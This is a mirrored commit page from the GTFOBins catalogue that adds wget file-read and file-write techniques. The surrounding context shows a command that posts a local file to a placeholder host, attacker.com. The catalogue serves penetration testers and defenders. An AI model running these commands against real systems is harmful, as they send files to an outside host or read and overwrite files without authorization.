mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Add wget file-read/write
This commit is contained in:
parent
d4f9fa6622
commit
be0ff3ade6
@ -6,6 +6,18 @@ functions:
|
|||||||
URL=http://attacker.com/
|
URL=http://attacker.com/
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
wget --post-file=$LFILE $URL
|
wget --post-file=$LFILE $URL
|
||||||
|
file-read:
|
||||||
|
- description: The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages, thus this is not suitable to read arbitrary binary data.
|
||||||
|
code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
wget -i $LFILE
|
||||||
|
file-write:
|
||||||
|
- description: The data to be written is treated as a list of URLs, one per line, which are actually fetched by `wget`. The data is written, somewhat modified, as error messages, thus this is not suitable to write arbitrary binary data.
|
||||||
|
code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo DATA > $TF
|
||||||
|
wget -i $TF -o $LFILE
|
||||||
file-download:
|
file-download:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
code: |
|
code: |
|
||||||
|
Loading…
Reference in New Issue
Block a user